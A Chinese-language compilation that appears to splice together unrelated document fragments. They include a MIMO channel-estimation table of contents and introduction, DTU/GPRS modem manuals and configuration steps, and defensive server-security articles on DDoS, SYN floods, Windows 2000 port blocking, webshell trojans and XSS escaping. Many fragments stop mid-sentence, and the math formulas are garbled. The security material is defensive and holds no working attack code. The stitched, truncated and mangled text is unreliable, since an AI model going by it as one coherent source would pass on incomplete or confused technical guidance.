寒假信道估计技术相关内容总结 目录 第一章无线信道 (3) 1.1 概述 (3) 1.2 信号传播方式 (3) 1.3 移动无线信道的衰落特性 (3) 1.4 多径衰落信道的物理特性 (5) 1.5 无线信道的数学模型 (7) 1.6 本章小结 (7) 第二章MIMO-OFDM系统 (8) 2.1 MIMO无线通信技术 (8) 2.1.1 MIMO系统模型 (9) 2.1.2 MIMO系统优缺点 (11) 2.2 OFDM技术 (12) 2.2.1 OFDM系统模型 (12) 2.2.2 OFDM系统的优缺点 (14) 2.3 MIMO-OFDM技术 (16) 2.3.1 MIMO、OFDM系统组合的必要性 (16) 2.3.1 MIMO-OFDM系统模型 (16) 2.4 本章小结 (17) 第三章MIMO信道估计技术 (18) 3.1 MIMO信道技术概述 (18) 3.2 MIMO系统的信号模型 (19) 3.3 信道估计原理 (21) 3.3.1 最小二乘(LS)信道估计算法 (21) 3.3.2 最大似然(ML)估计算法 (23) 3.3.3 最小均方误差(MMSE)信道估计算法 (24) 3.3.4 最大后验概率(MAP)信道估计算法 (25) 3.3.5 导频辅助信道估计算法 (26) 3.3.6 信道估计算法的性能比较 (26) 3.4 基于训练序列的信道估计 (28) 3.5 基于导频的信道估计 (28) 3.5.1 导频信号的选择 (29) 3.5.2 信道估计算法 (31) 3.5.3 插值算法 (31) 3.5.3.1 线性插值 (31) 3.5.3.2 高斯插值 (32) 3.5.3.3 样条插值 (33) 3.5.3.4 DFT算法 (33) 3.5.4 IFFT/FFT低通滤波 (33) 3.6 盲的和半盲的信道估计 (34)

服务器安全防护措施

随着网络技术的发展,服务器面临着越来越多的安全威胁。因此,加强服务器的安全防护成为一项迫切需要解决的问题。那么到底该怎么做才能使服务器更安全呢?今天,我们来谈一谈具体的防护措施,可以从以下五大方面入手: 一、安全设置 1、加强服务器的安全设置 以Linux为操作平台的服务器安全设置策略,能够有效降低服务器的安全隐患,以确保它的安全性。安全设置主要包括:登录用户名与密码的安全设置、系统口令的安全设置、BIOS的安全设置、使用SSL通信协议、命令存储的修改设置、隐藏系统信息、启用日志记录功能以及设置服务器有关目录的权限等。 2、加强内网和外网的安全防范 服务器需要对外提供服务,它既有域名,又有公网IP,显然存在着一些安全隐患。因此,可以给服务器分配私有的IP地址,并且运用防火墙来做NAT (网络地址转换),可将其进行隐藏。 有些攻击来源于内网,如果把内网计算机和服务器放置在相同的局域网之内,则在一定程度上会增加很多安全隐患,所以必须把它划分为不同的虚拟局域网。运用防火墙的“网络地址转换”来提供相互间的访问,这样就能极大提

高服务器的安全性和可靠性。 把服务器连接至防火墙的DMZ(隔离区)端口,将不适宜对外公布的重要信息的服务器,放在内部网络,进而在提供对外服务的同时,可以最大限度地保护好内部网络。 3、网络管理员,要不断加强网络日常安全的维护与管理 要对“管理员用户名与密码”定期修改;要对服务器系统的新增用户情况进行定时核对,并且需要认真仔细了解网络用户的各种功能;要及时更新服务器系统的杀毒软件以及病毒数据库,必要时,可针对比较特殊的病毒,安装专门的杀毒程序,同时要定期查杀服务器的系统病毒,定期查看CPU的正常工作使用状态、后台工作进程以及应用程序等。如若发现异常情况,需要及时给予妥当处理。因为很多“病毒与木马程序”,都是运用系统漏洞来进行攻击的,所以需要不断自动更新服务器系统,以及定期扫描服务器系统的漏洞。 很多服务器已经成为了“病毒、木马程序”感染的重灾区。不但企业的门户网站被篡改、资料被窃取,而且本身还成为了“病毒与木马程序”的传播者。有些服务器管理员采取了一些措施,虽然可以保证门户网站的主页不被篡改,但是却很难避免自己的网站被当作“肉鸡”,来传播“病毒、恶意插件、木马程序”等等。这很大一部分原因是,网络管理员在网站安全的防护上太被动。他们只是被动的防御,而没有进行主动防御和检测。为了彻底提高服务器的安全等级,网站安全需要主动出击。、

DTU基础知识

1、什么是DTU? 答:DTU是数据终端设备(Data Terminal unit)的简写。广义地讲,在进行通信时,传输数据的链路两端负责发送数据信息的模块单元都称之为DTU,在它的作用下对所传信息进行格式转换和数据整理校验。狭义地讲,DTU一般特指无线通讯中的下位GPRS/CDMA发射终端设备。前者是一种模块,而后者则是设备。后面的介绍如果不加特别说明,都是指后者(下位发射终端设备)。 2、与DTU有关的名词解释? 1)什么是上位机和下位机? 答:上位机和下位机是一个相对的概念,在通信中,有主从关系的一对设备,负责提交信息的终端设备是下位机,负责处理提交信息的设备是上位机。DTU设备大多数情况下就属于下位机,而负责处理DTU回传信息的数据中心就是上位机,典型的应用方式是多台DTU对应一个数据中心。但是上位机和下位机不一定都是一一对应,他们可以是一个下位机对应一个或多个上位机,也可以是一个上位机对应一个或多个下位机,具体的对应方式要视应用而定。 2)什么是数据中心? 答:数据中心是指对下位机回传的信息进行采集、汇总和处理,并对下位机进行一定控制和管理的上位机系统,他包括完整的计算机硬件设备和特定的完整软件功能。 3)什么是全透明传输? 答:全透明传输就是对IP包不作任何操作和改变,只是简单的发送过程。通俗的讲就是,全透明传输时,数据在发送前和发送后的格式、内容都不发生变化,远端数据中心接收的数据与现场采集的数据是一样的,数据在传输过程中不发生变化,如果IP包有任何的操作和改变,就不是完全意义上的全透明了。 3、DTU与无线Mmodem有什么区别? 答:首先要明确的一点是:DTU与无线Modem是不一样的。 在软件设计上,DTU封装了协议栈内容并且具有嵌入式操作系统,硬件上可看作是嵌入式PC加无线接入部分的接合。GPRS/CDMA Modem是接入GPRS/CDMA分组网络的一个物理通道,它本身不具有操作系统,必须依附于计算机(在功能上类似于有线Modem),在计算机操作系统之上才能进行PPP拨号连接,通常是与PC结合使用。从某种角度来说,DTU是嵌入式PC与GPRS/CDMA Modem的结合,但它不能单独当作Modem 使用,它完成数据协议转换和透明传输这样一个功能。在使用上,前端采集设备或智能数据设备,通常提供标准的数据接口,如RS232、RS485/422等,这些前端用户设备适合采用DTU,借助于GPRS/CDMA网络平台,实现与监控中心端的数据通信。GPRS/CDMA Modem需要接入计算机,实现组网连接,比如说中心站的PC主机可以通过GPRS/CDMA Modem接入GPRS/CDMA网络,从而构成某中心站服务器,实现网络监控,数据通信等。而DTU很难作为中心服务站来使用。 4、DTU测试前需要做什么准备工作? 答:在对DTU进行测试前,需要有以下条件:

DDOS几种常见攻击方式的原理及解决办法

DDOS几种常见攻击方式的原理及解决办法 DOS的表现形式 DDOS的表现形式主要有两种,一种为流量攻击,主要是针对网络带宽的攻击,即大量攻击包导致网络带宽被阻塞,合法网络包被虚假的攻击包淹没而无法到达主机;另一种为资源耗尽攻击,主要是针对服务器主机的攻击,即通过大量攻击包导致主机的内存被耗尽或CPU被内核及应用程序占完而造成无法提供网络服务。 【如何判断网站是否遭受了流量攻击呢?】可通过Ping命令来测试,若发现Ping超时或丢包严重(假定平时是正常的),则可能遭受了流量攻击,此时若发现和你的主机接在同一交换机上的服务器也访问不了了,基本可以确定是遭受了流量攻击。当然,这样测试的前提是你到服务器主机之间的ICMP协议没有被路由器和防火墙等设备屏蔽,否则可采取Telnet主机服务器的网络服务端口来测试,效果是一样的。不过有一点可以肯定,假如①平时Ping你的主机服务器和接在同一交换机上的主机服务器都是正常的,突然都Ping不通了或者是严重丢包,那么假如可以排除网络故障因素的话则肯定是遭受了流量攻击(前提是你到服务器主机之间的ICMP协议没有被路由器和防火墙等设备屏蔽),②再一个流量攻击的典型现象是,一旦遭受流量攻击,会发现用远程终端连接网站服务器会失败。 相对于流量攻击而言,【资源耗尽攻击】要容易判断一些,①假如平时Ping网站主机和访问网站都是正常的,发现突然网站访问非常缓慢或无法访问了,而Ping还可以Ping 通,则很可能遭受了资源耗尽攻击,此时若在服务器上用Netstat -na命令观察到有大量的SYN_RECEIVED(SYN攻击属于DDoS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。SYN攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务就可以实施。服务器接收到连接请求(syn= j),将此信息加入未连接队列,并发送请求包给客户(syn=k,ack=j+1),此时进入SYN_RECV状态。当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪)、TIME_WAIT、 FIN_WAIT_1等状态存在,而ESTABLISHED很少,则可判定肯定是遭受了资源耗尽攻击。还有一种属于资源耗尽攻击的现象是,②Ping自己的网站主机Ping不通或者是丢包严重,而Ping与自己的主机在同一交换机上的服务器则正常,造成这种原因是网站主机遭受攻击后导致系统内核或某些应用程序CPU利用率达到100%无法回应Ping命令,其实带宽还是有的,否则就Ping不通接在同一交换机上的主机了。

服务器系统安全防御攻击的各种设置方法

Wind2000服务器系统安全防御攻击的各种设置方法 对于服务器,如果你是一位真正的GM,那么一定知道,并且也经常使用,在这其中我们也有遇到Wind2000服务器系统的,当时这个安全防御攻击的设置的方法是什么呢?下面就一一说明。 内容有一点长,你们知道认真慢慢的看。 下面是我多年的经验 新人架设好后传奇,开发已经是很容易的事情,但是如何防止INTERNETE上的不安全因数了 有部分人的服务器是用的win2000,应该注意到了安装后默认都是关闭了GUEST帐号的,如果没有关闭该帐号的朋友请在控制面板管理工具,计算机管理中的用户那里进行永久禁用处理.现在去打上SP4,后门漏洞应该关闭的差不多了,注意开机一定要设定一个密码,最好让WIN2K使用自动升级功能,实现无人管理. 如果你的系统上安装了SQL,一定要屏蔽了3389端口. 私服安全现在已经做的差不多了.现在应该做的是一定把防火墙安装起,如果有条件可以把LockDown给他安装起.他可以有效的制止黑客木马程序运行起作用. 屏蔽端口文章: 用win2000的IP安全策略封闭端口的办法 封锁端口,全面构建防线 黑客大多通过端口进行入侵,所以你的服务器只能开放你需要的端口,那么你需要哪些端口呢?以下是常用端口,你可根据需要取舍: 80为Web网站服务;21为FTP服务;25 为E-mail SMTP服务;110为Email POP3服务。 其他还有SQL Server的端口1433等,你可到网上查找相关资料。那些不用的端口一定要关闭!关闭这些端口,我们可以通过Windows 2000的安全策略进行。 借助它的安全策略,完全可以阻止入侵者的攻击。你可以通过“管理工具→本地安全策略”进入,右击“IP安全策略”,选择“创建IP安全策略”,点[下一步]。输入安全策略的名称,点[下一步],一直到完成,你就创建了一个安全策略: 接着你要做的是右击“IP安全策略”,进入管理IP筛选器和筛选器操作,在管理IP筛选器列表中,你可以添加要封锁的端口,这里以关闭ICMP和139端口为例说明。 关闭了ICMP,黑客软件如果没有强制扫描功能就不能扫描到你的机器,也Ping不到你的机器。关闭ICMP的具体操作如下:点[添加],然后在名称中输入“关闭ICMP”,点右边的[添加],再点[下一步]。在源地址中选“任何IP地址”,点[下一步]。在目标地址中选择“我的IP地址”,点[下一步]。在协议中选择“ICMP”,点[下一步]。回到关闭ICMP属性窗口,即关闭了ICMP。

GPRS模块参数设置说明

GPRS模块参数设置说明 1. 超级终端通讯端口设置 新建一个超级终端,Windows系统会要求选择有关串行口的设置,选择连接的串行端口号(如COM2),参照下图所示配置串行端口参数: 超级终端通信参数设置如下: 速率: 57600baud 数据位: 8bit 奇偶校验:无 停止位: 1bit 数据流控制:无 2. 进入参数设置模式 启动PC的超级终端软件,按住PC键盘的空格键(SPACE),打开配置终端盒电源。必须在设备加电之前按住PC键盘的空格键(SPACE)不放,然后加电,直至PC机的超 级终端屏幕上显示下图所示界面

在主菜单(Main Menu)状态下键入C进入参数配置,系统可能会要求输入密码,请输入正确密码: 密码:1234 输入正确密码后键回车,进入如下所示界面。 在此状态下键入相应数字,即可进入对应参数配置项。 一般情况需要配置的参数项有: 1 移动业务中心参数配置 3 数据业务中心参数配置 4 串口通讯参数配置 其他参数项建议采用默认值! 3. 各参数项设置 3.1 移动业务中心参数配置(MSC) 在DTU参数配置(Configurations)菜单状态下1,进入移动业务中心参数配置 (MSC):

在此状态下键入相应数字,即可进行参数设置。 例: 按提示信息输入名称,按回车键确认。 然后按“R”键返回上层菜单, 按“Y”键确认保存。 如不需更改此项参数,按“Esc”键退出此项。 其它参数设置方法同此。 如采用公网,此参数项可采用默认。 如采用专网,根据需要设置的参数是: 2 用户名称 3 用户密码 4 设置接入点名称(默认为“CMNET”) 3.2 数据业务中心参数配置(DSC) 在DTU参数配置(Configurations)菜单状态下 3,进入移动业务中心参数

常见站点攻击和处理方法

1、流量攻击 就是常说的DDoS攻击,分为带宽攻击和应用攻击,宽带攻击,是竞争对手惯用的一种方法,一般是使用大量数据包淹没一个或多个路由器、服务器和防火墙,使你的网站处于瘫痪状态无法正常打开。应用攻击是CC攻击。 方法:现在很多设备都有方DDOS模块,如防火墙或是专业的DDOS设备。 防CC,返回验证码。 2、破坏数据性攻击 这种攻击时最严重,网站权限被拿到,数据被删除,这样就会造成大量的无页面链接,即死链接,这对于网站来说是致命的,不仅搜索引擎会降权,还会丢失大量用户。 建议:经常备份网站数据和网站关键程序,最好打包到本地电脑里;做好关键文件的权限设置;网站最好采用全静态页面,因为静态页面是不容易被黑客攻击的;ftp和后台相关密码不要用弱口令。 3、挂黑链攻击 搜索引擎一旦把你的网站视为木马网站就会封,甚至加为黑名单,这样你只能换域名了,挂黑链主要是首页。网站首页挂载其他链接,比如博彩网。 建议:除了做好第2种攻击提到的安全措施外,要经常检查一下网站的导出链接,看是否有可疑链接;你可以在网站装一个360或瑞星网页安全检测工具。 4、挂马检测与解决方案 攻击者可通过各种手段,包括SQL注入,网站敏感文件扫描、服务器漏洞等各种方法获得网站管理员账号,然后登陆网站后台,通过数据库备份/恢复或者上传漏洞获得一个webshell。利用获得的webshell修改网站页面的内容,向页面中加入恶意转向代码。 挂马实例 比如常见通过的 这样就能轻易把一个有危险的文件直接导入到站点网页,危害很大。 挂马解决方案 1).检索文件,对可疑文件进行检查。2).通过系统审核、服务器安全配置、监测网站代码存在漏洞或隐患、网站后台管理员用户名密码、CSS配合JS脚本进行预防。 5、跨站脚本攻击(XSS) 跨站脚本攻击(XSS,Cross-site scripting)是最常见和基本的攻击WEB网站的方法。攻击者在网页上发布包含攻击性代码的数据。当浏览者看到此网页时,嵌入其中Web里面的html 代码会以浏览者用户的身份和权限来执行。通过XSS可以比较容易地修改用户数据、窃取用户信息,以及造成其它类型的攻击,例如CSRF攻击。 解决办法:XSS攻击的模式很简单,就是把自己的代码嵌入到页面里,随页面一块执行;XSS攻击的防范也一样简单,就是对输出到页面上的内容中特定字符进行转义,使代码不能执行即可。1)html 只需要处理掉< > 即可,只要没有html标签,页面就是安全的。可以使用php内置方法htmlspecialchars来处理待输出的内容,将<,>,& 转义。

网络服务器的安全防范对策

网络服务器的安全防范对策 网络服务器存储着大量重要的数据,加强服务器的安全是提高网络安全的重要环节。服务器操作系统本身的安全性还是很高的,但是我们如果不进行相应的安全配置,则达不到可信任计算机系统评估标准。我们需要在基本配置、用户密码安全设置、系统安全设置、服务安全设置、安全管理制度等方面进行相应的设置。 一基本安装配置(1)安装操作系统时注意安装正版的英文版的的操作系统,并且在服务器上只安装一种操作系统,过多的操作系统只会给入侵者更多的机会攻击服务器,致使服务器重新启动到没有安全配置的操作系统,从而破坏操作系统。(2)给服务器硬盘分区时一定要使用NTFS分区。对于黑客来说存储在FAT格式的磁盘分区里的数据要比存储在NTFS格式的磁盘分区的数据更容易访问,也更容易破坏。因此我们在进行分区和格式化时一定要采用NTFS分区格式,这种分区格式比FAT格式具有更多的安全配置功能,可以针对不通的文件夹设置不同的访问权限,大大提高服务器的访问安全。(3)做好数据的备份策略,提高硬盘数据安全性。在考虑服务器服务器硬盘配置时,应该考虑多个硬盘通过RAID方式进行数据的冗余。另外,为避免硬盘损坏或者被盗,按照“不要把所有鸡蛋放到同一个篮子”的理论我们应该使用单独的专门设备保存这些珍贵数据。如多机备份、磁带备份等。(4)安装各种应用软件完成后,尽快安装补丁程序。(5)安装杀毒软件和软件防火墙,及时升级病毒库,可以有效清除病毒、木马、后门程序等。二用户密码安全设置 2.1 用户安全配置(1)禁用guest帐号。有很多入侵都是通过这个账号进一步获得管理员密码或者权限的。如果不想把自己的计算机给别人当玩具,那还是禁止的好。(2)创建两个管理员帐号。创建一个一般权限用户用来收信以及处理一些日常事物,另一个拥有Administrators权限的用户只在需要的时候使用。(3)限制不必要的用户。去掉所有的DuplicateUser用户、测试用户、共享用户等等。用户组策略设置相应权限,并且经常检查系统的用户,删除已经不再使用的用户。这些用户很多时候都是黑客们入侵系统的突破口。(4)把系统administrator用户改名。大家都知道,Windows server的Administrator用户是不能被停用的,这意味着别人可以一遍又一遍地尝试这个用户的密码。尽量把它伪装成普通用户,将Administrator账号改名可以防止黑客知道自己的管理员账号,这会在很大程度上保证计算机安全。(5)创建一个陷阱用户。什么是陷阱用户?即创建一个名为“Administrator”的本地用户,把它的权限设置成最低,什么事也干不了的那种,并且加上一个超过1O位的超级复杂密码。这样可以让那些黑客们忙上一段时间,借此发现它们的入侵企图。(6)把共享文件的权限从everyone组改成授权用户。任何时候都不要把共享文件的用户设置成“Everyone”组,包括打印共享,默认的属性就是“Everyone”组的,一定不要忘了改。(7)开启用户策略。使用用户策略,分别设置复位用户锁定计数器时间为20分钟,用户锁定时间为20分钟,用户锁定阈值为3次。 (8)不让系统显示上次登录的用户名。默认情况下,登录对话框中会显示上次登录的用户名。这使得别人可以很容易地得到系统的一些用户名,进而做密码猜测。可以通过修改注册表不让对话框里显示上次登录的用户名。 2.2 密码安全设置(1)使用安全密码,注意密码的复杂性。一些公司的管理员创建账号的时候往往用公司名、计算机名做用户名,然后又把这些用户的密码设置得太简单,比如“welcome”等等。因此,要注意密码的复杂性,还要记住经常改密码。(2)设置屏幕保护密码。这是一个很简单也很有必要的操作。设置屏幕保护密码也是防止内部人员破坏服务器的一个屏障。(3)考虑使用智能卡来代替密码。对于密码,总是使安全管理员进退两难,密码设置简单容易受到黑客的攻击,密码设置复杂又容易忘记。如果条件允许,用智能卡来代替复杂的密码是一个很好的解决方法。 (4)开启密码策略控制。密码策略控制是否允许用户重新使用旧的密码,在两次更改密码之间

宏电DTU参数配置

宏电DTU的参数配置和与DEMO的连接测试 一、DTU的参数配置与下载 1、RS232接口的DTU接线原则:232母头连接线的RXD连接DTU的RS(B-);TXD连 接DTU的TX(A+)。GND接地一定要跟电源的GND相连接。否则通讯不上。 2、RS485接口的DTU接线原则:485+接A+;485-接B-。 3、配置DTU参数的时候一定要把IP设定为公网IP,另外端口映射一定要正确。 4、具体的DTU参数配置如下图所示: 图1.1 在图1中的DSC连接类型中选择UDP连接方式。IP地址设定为公网IP。

在图2中的本地IP也不需要进行设置。 图1.3

在图8中的本地端口和DNS地址不需要配置选择系统默认的就行。 图1.5

图1.6 图1.7

图1.8 配置注意问题: 1、配置过程中一定要注意IP地址是设定公网IP,并且端口号得映射也一定要与本机电脑 在路由器上的映射端口号相一致,否则就会出现连接不上的现象。 2、在配置好参数向DTU下载的过程中一定要先把DTU断电,点击“连接”之后再给DTU 上电,才能连接成功。连接成功之后,点击“全选”然后再点击“设置”就可以把配置好的参数下载到DTU中去。 二、DTU与DSC_DEMO的连接设置 DTU演示系统与DTU的连接过程中,也要对其进行参数设置,否则无法连接成功。具体的 需要设置的参数为:“设置”,如下图所示

图2.1 图2.2 在图2.2中“指定IP”前面一定不能选,服务类型选择UDP,启动类型:自动启动。 图2.3 按照上面的步骤配置完成后,先点击“启动服务”然后再开启DTU电源,连接成功后显示如下的界面。

基于训练的最小二乘(LS)算法的信道估计

基于训练的最小二乘(LS )算法的信道估计 一、概述与背景 随着近年来无线通信系统的高速发展,基于阵列的接收机和空时分集方法逐渐成为研究热点。现在无论是在理论分析还是在富散射环境的实地测试中,MIMO (multiple-input multiple-output)系统都能够大幅度提高无线通信系统的容量。 设一个t 发射天线、r 接收天线的MIMO 系统,其接收信号可表示为: i i i v Hp s +=(1) H 表示随机信道复矩阵,i p 表示t×1发送信号复向量,i v 表示零均值白噪声复 向量。 为了估计信道矩阵H ,假设发送的训练信号为N p p ,…,1,其中t N ≥.其对应 的r×N 接收信号矩阵 ] [,1N s s S ,…=可表示为: V HP S +=(2) 其中 ] [,1N p p P ,…=表示t×N 训练矩阵, ] [,1N v v V ,…=表示r×N 噪声矩阵。 。而MIMO 技术的要点在于得到一个精确的信道状态信息(CSI)。而信道估计算法的任务是基于S 和P 的信息来恢复信道矩阵H 的信息. 信道估计有非盲信道估计方法、盲信道估计方法和半盲信道方法。目前使用最为广泛的MIMO 信道估计方法是非盲信道估计方法,也即使用导频信号(又称为训练序列)然后基于接收数据和训练序列的信息来实现信道估计。盲信道估计实质上是利用信道潜在的结构特征或者是输入信号的特征达到信道估计的目的。而半盲信道方法估计是上述两种信道估计方法的综合与平衡。 本文主要讲的是最小二乘算法的信道估计,并用matlab 对LS 算法进行仿真,仿真内容是ZF 下理想信道与LS 估计信道的性能比较和LS 估计信道的不同天线数MIMO 系统的性能比较。

DTU使用说明书

DTU使用说明书 此说明书适用于下列型号产品: 型号产品类别 F2116GPRS IP MODEM F2216CDMA IP MODEM F2416WCDMA IP MODEM F2616EVDO IP MODEM F2716TDD-LTE IP MODEM F2816FDD-LTE IP MODEM F2A16LTE IP MODEM 文档修订记录

目录 第一章产品简介 (3) 1.1产品概述 (3) 1.2产品特点 (3) 1.3工作原理框图 (4) 1.4产品规格 (4) 第二章安装 (8) 2.1概述 (8) 2.2开箱 (8) 2.3安装与电缆连接 (8) 2.4电源说明 (11) 2.5指示灯说明 (11) 第三章参数配置 (12) 3.1配置连接 (12) 3.2参数配置方式介绍 (12) 3.3参数配置详细说明 (12) 3.3.1配置工具运行界面 (13) 3.3.2设备上电 (14) 3.3.4中心服务 (20) 3.3.5串口 (21) 3.3.6无线拔号 (22) 3.3.7全局参数 (23) 3.3.8设备管理 (25) 3.3.9其它功能项 (26) 第四章数据传输试验环境测试 (26) 4.1试验环境网络结构 (26) 4.2测试步骤 (27)

第一章产品简介 1.1产品概述 F2X16系列IP MODEM是一种物联网无线数据终端,利用公用蜂窝网络为用户提供无线长距离数据传输功能。 该产品采用高性能的工业级32位通信处理器和工业级无线模块,以嵌入式实时操作系统为软件支撑平台,同时提供RS232和RS485(或RS422)接口,可直接连接串口设备,实现数据透明传输功能;低功耗设计,最低功耗小于5mA@12VDC;提供1路ADC,2路I/O,可实现数字量输入输出、脉冲输出、模拟量输入、脉冲计数等功能。 该产品已广泛应用于物联网产业链中的M2M行业,如智能电网、智能交通、智能家居、金融、移动POS终端、供应链自动化、工业自动化、智能建筑、消防、公共安全、环境保护、气象、数字化医疗、遥感勘测、军事、空间探索、农业、林业、水务、煤矿、石化等领域。IP MODEM典型应用如图1-1所示: 图1-1IP MODEM应用拓扑图 1.2产品特点 工业级应用设计 ◆ 采用高性能工业级无线模块 ◆ 采用高性能工业级32位通信处理器 ◆ 低功耗设计,支持多级休眠和唤醒模式,最大限度降低功耗 ◆ 采用金属外壳,保护等级IP30。金属外壳和系统安全隔离,特别适合于工控现场的应 用 ◆ 宽电源输入(DC5~36V) 稳定可靠 ◆ WDT看门狗设计,保证系统稳定 ◆ 采用完备的防掉线机制,保证数据终端永远在线 ◆ RS232/RS485/RS422接口内置15KV ESD保护 ◆ SIM/UIM卡接口内置15KV ESD保护 ◆ 电源接口内置反相保护和过压保护 ◆天线接口防雷保护(可选) 标准易用

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